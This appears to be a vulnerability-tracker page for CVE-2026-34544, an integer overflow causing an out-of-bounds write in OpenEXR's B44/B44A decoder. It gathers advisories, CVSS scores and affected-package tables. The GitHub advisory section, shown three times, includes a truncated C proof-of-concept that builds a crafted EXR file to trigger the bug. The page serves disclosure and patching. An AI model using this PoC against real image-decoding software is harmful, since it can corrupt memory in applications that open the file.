CVE-2026-34544
OpenEXR: integer overflow to OOB write in uncompress_b44_impl()
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Active
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.4
OpenEXR: integer overflow to OOB write in uncompress_b44_impl()
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.
- Record
CVE-2026-34544- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-190, CWE-787
- Updated
- 2026-11-02
EUVDEUVD-2026-18060
8.4
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.
- Record
EUVD-2026-18060- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-h762-rhv3-h25v
8.4
OpenEXR: integer overflow to OOB write in uncompress_b44_impl()
Summary
The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.
Root cause
- Variable declarations (internal_b44.c:535)
int nx, ny;
nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32_t.
- Scratch buffer allocation (internal_b44:543)
nBytes = (uint64_t) (ny) * (uint64_t) (nx) *
(uint64_t) (curc->bytes_per_element);
The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel.
- Row pointer reconstruction (internal_b44:560)
row0 = (uint16_t*) scratch;
row0 += y * nx;
row1 = row0 + nx;
row2 = row1 + nx;
row3 = row2 + nx;
y and nx are both int. The product y * nx is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow
- Out of Band write (internal_b44:592)
memcpy (row0, &s[0], n);
memcpy (row1, &s[4], n);
memcpy (row2, &s[8], n);
memcpy (row3, &s[12], n);
These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.
PoC
The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes row0 += y * nx, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.
#include <openexr.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define CHECK(call)
do {
exr_result_t _rv = (call);
if (_rv != EXR_ERR_SUCCESS) {
fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);
goto fail;
}
} while (0)
static void fill_blocks(uint8_t* out, uint64_t n) {
for (uint64_t i = 0; i < n; i++, out += 3) {
out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);
}
}
int main(void) {
const int64_t W = 268435456;
const int64_t H = 9;
const char* path = "/tmp/poc_b44.exr";
const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;
const uint64_t psz = blocks * 3;
uint8_t* packed = (uint8_t*) malloc(psz);
exr_context_t ctxt = NULL;
exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;
int part = -1;
exr_chunk_info_t cinfo;
exr_decode_pipeline_t dec = EXR_DECODE_PIPELINE_INITIALIZER;
uint16_t dummy = 0;
int ok = 0;
if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }
fill_blocks(packed, blocks);
CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));
CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));
CHECK(exr_initialize_required_attr_simple(
ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));
CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,
…
- Record
GHSA-h762-rhv3-h25v- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-190, CWE-787
- Updated
- 2026-11-02
NVD
8.4
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.
- Record
CVE-2026-34544- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-190, CWE-787
- Updated
- 2026-11-02
OSVALPINE-CVE-2026-34544
7.3
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.
- Record
ALPINE-CVE-2026-34544- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-03
OSVBELL-CVE-2026-34544
7.3
- Record
BELL-CVE-2026-34544- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Show 17 moreShow less
OSV
8.4
OpenEXR: integer overflow to OOB write in uncompress_b44_impl()
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.
- Record
CVE-2026-34544- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-190, CWE-787
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-34544
7.3
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.
- Record
DEBIAN-CVE-2026-34544- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVGHSA-h762-rhv3-h25v
8.4
OpenEXR: integer overflow to OOB write in uncompress_b44_impl()
Summary
The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.
Root cause
- Variable declarations (internal_b44.c:535)
int nx, ny;
nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32_t.
- Scratch buffer allocation (internal_b44:543)
nBytes = (uint64_t) (ny) * (uint64_t) (nx) *
(uint64_t) (curc->bytes_per_element);
The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel.
- Row pointer reconstruction (internal_b44:560)
row0 = (uint16_t*) scratch;
row0 += y * nx;
row1 = row0 + nx;
row2 = row1 + nx;
row3 = row2 + nx;
y and nx are both int. The product y * nx is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow
- Out of Band write (internal_b44:592)
memcpy (row0, &s[0], n);
memcpy (row1, &s[4], n);
memcpy (row2, &s[8], n);
memcpy (row3, &s[12], n);
These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.
PoC
The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes row0 += y * nx, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.
#include <openexr.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define CHECK(call)
do {
exr_result_t _rv = (call);
if (_rv != EXR_ERR_SUCCESS) {
fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);
goto fail;
}
} while (0)
static void fill_blocks(uint8_t* out, uint64_t n) {
for (uint64_t i = 0; i < n; i++, out += 3) {
out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);
}
}
int main(void) {
const int64_t W = 268435456;
const int64_t H = 9;
const char* path = "/tmp/poc_b44.exr";
const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;
const uint64_t psz = blocks * 3;
uint8_t* packed = (uint8_t*) malloc(psz);
exr_context_t ctxt = NULL;
exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;
int part = -1;
exr_chunk_info_t cinfo;
exr_decode_pipeline_t dec = EXR_DECODE_PIPELINE_INITIALIZER;
uint16_t dummy = 0;
int ok = 0;
if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }
fill_blocks(packed, blocks);
CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));
CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));
CHECK(exr_initialize_required_attr_simple(
ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));
CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,
…
- Record
GHSA-h762-rhv3-h25v- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-190, CWE-787
- Updated
- 2026-11-02
OSVJLSEC-2026-146
8.4
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.
- Record
JLSEC-2026-146- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVPYSEC-2026-2847
8.4
OpenEXR: integer overflow to OOB write in uncompress_b44_impl()
Summary
The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.
Root cause
- Variable declarations (internal_b44.c:535)
int nx, ny;
nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32_t.
- Scratch buffer allocation (internal_b44:543)
nBytes = (uint64_t) (ny) * (uint64_t) (nx) *
(uint64_t) (curc->bytes_per_element);
The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel.
- Row pointer reconstruction (internal_b44:560)
row0 = (uint16_t*) scratch;
row0 += y * nx;
row1 = row0 + nx;
row2 = row1 + nx;
row3 = row2 + nx;
y and nx are both int. The product y * nx is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow
- Out of Band write (internal_b44:592)
memcpy (row0, &s[0], n);
memcpy (row1, &s[4], n);
memcpy (row2, &s[8], n);
memcpy (row3, &s[12], n);
These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.
PoC
The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes row0 += y * nx, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.
#include <openexr.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define CHECK(call)
do {
exr_result_t _rv = (call);
if (_rv != EXR_ERR_SUCCESS) {
fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);
goto fail;
}
} while (0)
static void fill_blocks(uint8_t* out, uint64_t n) {
for (uint64_t i = 0; i < n; i++, out += 3) {
out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);
}
}
int main(void) {
const int64_t W = 268435456;
const int64_t H = 9;
const char* path = "/tmp/poc_b44.exr";
const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;
const uint64_t psz = blocks * 3;
uint8_t* packed = (uint8_t*) malloc(psz);
exr_context_t ctxt = NULL;
exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;
int part = -1;
exr_chunk_info_t cinfo;
exr_decode_pipeline_t dec = EXR_DECODE_PIPELINE_INITIALIZER;
uint16_t dummy = 0;
int ok = 0;
if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }
fill_blocks(packed, blocks);
CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));
CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));
CHECK(exr_initialize_required_attr_simple(
ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));
CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,
…
- Record
PYSEC-2026-2847- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVRHSA-2026:84796
7.1
Red Hat Security Advisory: openexr security update
- Record
RHSA-2026:84796- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H - Updated
- 2026-11-02
OSVRLSA-2026:84796
7.1
Important: openexr security update
OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.
Security Fix(es):
-
OpenEXR: OpenEXR: Memory corruption and Denial of Service via crafted EXR file processing (CVE-2026-34544)
-
OpenEXR: OpenEXR: Out-of-bounds write vulnerability via crafted EXR files (CVE-2026-59184)
-
OpenEXR: OpenEXR: Information disclosure and denial of service due to out-of-bounds read (CVE-2026-59189)
-
OpenEXR: OpenEXR: Denial of Service or Information Disclosure via crafted EXR image file (CVE-2026-59982)
-
OpenEXR: OpenEXR: Information disclosure and denial of service via out-of-bounds read (CVE-2026-59981)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:84796- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H - Updated
- 2026-11-02
OSVRLSA-2026:86983
7.1
Important: openexr security update
OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.
Security Fix(es):
-
openexr: OpenEXR: Memory corruption and Denial of Service via crafted EXR file processing (CVE-2026-34544)
-
openexr: OpenEXR: Denial of Service or Information Disclosure via crafted EXR image file (CVE-2026-59982)
-
openexr: OpenEXR: Out-of-bounds write vulnerability via crafted EXR files (CVE-2026-59184)
-
openexr: OpenEXR: Information disclosure and denial of service due to out-of-bounds read (CVE-2026-59189)
-
openexr: OpenEXR: Information disclosure and denial of service via out-of-bounds read (CVE-2026-59981)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:86983- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H - Updated
- 2026-11-02
OSVROOT-OS-DEBIAN-11-CVE-2026-34544
7.3
CVE-2026-34544 in openexr - Patched by Root
Root has patched CVE-2026-34544 in the openexr package for Root:Debian:11. Multiple fixed versions available.
- Record
ROOT-OS-DEBIAN-11-CVE-2026-34544- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVROOT-OS-DEBIAN-12-CVE-2026-34544
7.3
CVE-2026-34544 in openexr - Patched by Root
Root has patched CVE-2026-34544 in the openexr package for Root:Debian:12. Multiple fixed versions available.
- Record
ROOT-OS-DEBIAN-12-CVE-2026-34544- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVROOT-OS-DEBIAN-13-CVE-2026-34544
7.3
CVE-2026-34544 in openexr - Patched by Root
Root has patched CVE-2026-34544 in the openexr package for Root:Debian:13. Multiple fixed versions available.
- Record
ROOT-OS-DEBIAN-13-CVE-2026-34544- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-34544
8.4
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.
- Record
UBUNTU-CVE-2026-34544- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVALSA-2026:84796 No score
Important: openexr security update
OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.
Security Fix(es):
- OpenEXR: OpenEXR: Memory corruption and Denial of Service via crafted EXR file processing (CVE-2026-34544)
- OpenEXR: OpenEXR: Out-of-bounds write vulnerability via crafted EXR files (CVE-2026-59184)
- OpenEXR: OpenEXR: Information disclosure and denial of service due to out-of-bounds read (CVE-2026-59189)
- OpenEXR: OpenEXR: Denial of Service or Information Disclosure via crafted EXR image file (CVE-2026-59982)
- OpenEXR: OpenEXR: Information disclosure and denial of service via out-of-bounds read (CVE-2026-59981)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:84796- Updated
- 2026-11-02
OSVALSA-2026:86983 No score
Important: openexr security update
OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.
Security Fix(es):
- openexr: OpenEXR: Memory corruption and Denial of Service via crafted EXR file processing (CVE-2026-34544)
- openexr: OpenEXR: Denial of Service or Information Disclosure via crafted EXR image file (CVE-2026-59982)
- openexr: OpenEXR: Out-of-bounds write vulnerability via crafted EXR files (CVE-2026-59184)
- openexr: OpenEXR: Information disclosure and denial of service due to out-of-bounds read (CVE-2026-59189)
- openexr: OpenEXR: Information disclosure and denial of service via out-of-bounds read (CVE-2026-59981)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:86983- Updated
- 2026-11-02
OSVCLSA-2026-1781180341 No score
openexr: Fix of CVE-2026-34544
- CVE-2026-34544: fix B44/B44A integer overflow in row pointer arithmetic
- Record
CLSA-2026-1781180341- Updated
- 2026-11-02
OSVCLSA-2026-1781184685 No score
openexr: Fix of CVE-2026-34544
- CVE-2026-34544: fix B44/B44A integer overflow in row pointer arithmetic
- Record
CLSA-2026-1781184685- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10505-1 No score
libIex-3_4-33-3.4.9-1.1 on GA media
These are all security issues fixed in the libIex-3_4-33-3.4.9-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10505-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
openexrPyPI |
3.4.0 to 3.4.7 | 3.4.8 |
openexrPyPI |
3.3.0 to 3.3.8 | None known |
openexrPyPI |
3.2.0 to 3.2.6 | None known |
openexrAlpine:v3.22 |
3.2.0 up to 3.3.11-r0 | 3.3.11-r0 |
openexrAlpine:v3.23 |
3.2.0 up to 3.4.13-r0 | 3.4.13-r0 |
openexrAlpine:v3.24 |
3.2.0 up to 3.4.10-r0 | 3.4.10-r0 |
openexrAlmaLinux:10 From an advisory covering 5 CVEs |
before 3.1.10-8.el10_2.5 | 3.1.10-8.el10_2.5 |
openexr-develAlmaLinux:10 From an advisory covering 5 CVEs |
before 3.1.10-8.el10_2.5 | 3.1.10-8.el10_2.5 |
openexr-libsAlmaLinux:10 From an advisory covering 5 CVEs |
before 3.1.10-8.el10_2.5 | 3.1.10-8.el10_2.5 |
openexr-develAlmaLinux:9 From an advisory covering 5 CVEs |
before 3.1.1-3.el9_8.5 | 3.1.1-3.el9_8.5 |
Show 31 moreShow less
| Package | Affected | Fixed |
|---|---|---|
openexrAlpaquita:stream |
3.4.4-r0 up to 3.4.8-r0 | 3.4.8-r0 |
openexrTuxCare:AlmaLinux:9.2 |
before 3.1.1-3.el9.tuxcare.els7 | 3.1.1-3.el9.tuxcare.els7 |
openexr-develTuxCare:AlmaLinux:9.2 |
before 3.1.1-3.el9.tuxcare.els7 | 3.1.1-3.el9.tuxcare.els7 |
openexr-libsTuxCare:AlmaLinux:9.2 |
before 3.1.1-3.el9.tuxcare.els7 | 3.1.1-3.el9.tuxcare.els7 |
openexrTuxCare:AlmaLinux:9.6 |
before 3.1.1-3.el9.tuxcare.els7 | 3.1.1-3.el9.tuxcare.els7 |
openexr-develTuxCare:AlmaLinux:9.6 |
before 3.1.1-3.el9.tuxcare.els7 | 3.1.1-3.el9.tuxcare.els7 |
openexr-libsTuxCare:AlmaLinux:9.6 |
before 3.1.1-3.el9.tuxcare.els7 | 3.1.1-3.el9.tuxcare.els7 |
openexrDebian:12 |
All versions, plus listed versions 3.1.13-13.1.13-23.1.5-53.1.5-5.13.1.5-5.1+hurd.1 Show 8 moreShow less3.4.14-0.13.4.15+ds-13.4.16+ds-13.4.6+ds-13.4.6+ds-23.4.6+ds-33.4.6+ds-43.5.2+ds-1 |
None known |
openexrDebian:13 |
All versions, plus listed versions 3.1.13-23.4.14-0.13.4.15+ds-13.4.16+ds-13.4.6+ds-1 Show 4 moreShow less3.4.6+ds-23.4.6+ds-33.4.6+ds-43.5.2+ds-1 |
None known |
openexrDebian:14 |
before 3.4.14-0.1, plus listed versions 3.1.13-23.4.6+ds-13.4.6+ds-23.4.6+ds-33.4.6+ds-4 |
3.4.14-0.1 |
openexrPyPI |
3.4.0 up to 3.4.8, plus listed versions 3.4.13.4.23.4.33.4.43.4.53.4.63.4.7 |
3.4.8 |
openexrPyPI |
3.3.0 to 3.3.8, plus listed versions 3.3.13.3.23.3.33.3.43.3.53.3.63.3.7 |
None known |
openexrPyPI |
3.2.0 to 3.2.6, plus listed versions 3.2.33.2.43.2.5 |
None known |
OpenEXR_jllJulia |
3.1.4+0 up to 3.4.8+0 | 3.4.8+0 |
openexrPyPI |
3.2.0 up to 3.4.8, plus listed versions 3.2.103.2.33.2.43.2.53.2.6 Show 24 moreShow less3.2.73.2.83.2.93.3.03.3.13.3.103.3.113.3.123.3.23.3.33.3.43.3.53.3.63.3.73.3.83.3.93.4.03.4.13.4.23.4.33.4.43.4.53.4.63.4.7 |
3.4.8 |
openexrRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:3.1.10-8.el10_2.5 | 0:3.1.10-8.el10_2.5 |
openexr-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:3.1.10-8.el10_2.5 | 0:3.1.10-8.el10_2.5 |
openexr-debugsourceRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:3.1.10-8.el10_2.5 | 0:3.1.10-8.el10_2.5 |
openexr-libsRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:3.1.10-8.el10_2.5 | 0:3.1.10-8.el10_2.5 |
openexr-libs-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:3.1.10-8.el10_2.5 | 0:3.1.10-8.el10_2.5 |
openexr-develRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:3.1.10-8.el10_2.5 | 0:3.1.10-8.el10_2.5 |
openexrRocky Linux:10 From an advisory covering 5 CVEs |
before 0:3.1.10-8.el10_2.5 | 0:3.1.10-8.el10_2.5 |
openexrRocky Linux:9 From an advisory covering 5 CVEs |
before 0:3.1.1-3.el9_8.5 | 0:3.1.1-3.el9_8.5 |
openexrRoot:Debian:11 |
before 2.5.4-2+deb11u1.aikido.17 | 2.5.4-2+deb11u1.aikido.172.5.4-2+deb11u1.aikido.162.5.4-2+deb11u1.root.io.152.5.4-2+deb11u1.aikido.18 |
rootio-openexrRoot:Debian:11 |
before 2.5.4-2+deb11u1.aikido.17 | 2.5.4-2+deb11u1.aikido.172.5.4-2+deb11u1.aikido.162.5.4-2+deb11u1.root.io.152.5.4-2+deb11u1.aikido.18 |
openexrRoot:Debian:12 |
before 3.1.5-5.root.io.15 | 3.1.5-5.root.io.153.1.5-5.root.io.213.1.5-5.root.io.223.1.5-5.root.io.123.1.5-5.root.io.233.1.5-5.root.io.133.1.5-5.root.io.143.1.5-5.root.io.113.1.5-5.root.io.163.1.5-5.root.io.173.1.5-5.root.io.183.1.5-5.root.io.193.1.5-5.root.io.203.1.5-5.aikido.243.1.5-5.aikido.25 |
rootio-openexrRoot:Debian:12 |
before 3.1.5-5.root.io.15 | 3.1.5-5.root.io.153.1.5-5.root.io.213.1.5-5.root.io.223.1.5-5.root.io.123.1.5-5.root.io.233.1.5-5.root.io.133.1.5-5.root.io.143.1.5-5.root.io.113.1.5-5.root.io.163.1.5-5.root.io.173.1.5-5.root.io.183.1.5-5.root.io.193.1.5-5.root.io.203.1.5-5.aikido.243.1.5-5.aikido.25 |
openexrRoot:Debian:13 |
before 3.1.13-2.aikido.14 | 3.1.13-2.aikido.143.1.13-2.root.io.133.1.13-2.root.io.123.1.13-2.aikido.15 |
rootio-openexrRoot:Debian:13 |
before 3.1.13-2.aikido.14 | 3.1.13-2.aikido.143.1.13-2.root.io.133.1.13-2.root.io.123.1.13-2.aikido.15 |
openexrUbuntu:26.10 |
All versions, plus listed versions 3.1.13-2build13.4.6+ds-4ubuntu3 |
None known |
openexropenSUSE:Tumbleweed From an advisory covering 8 CVEs |
before 3.4.9-1.1 | 3.4.9-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected, aliases, references | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
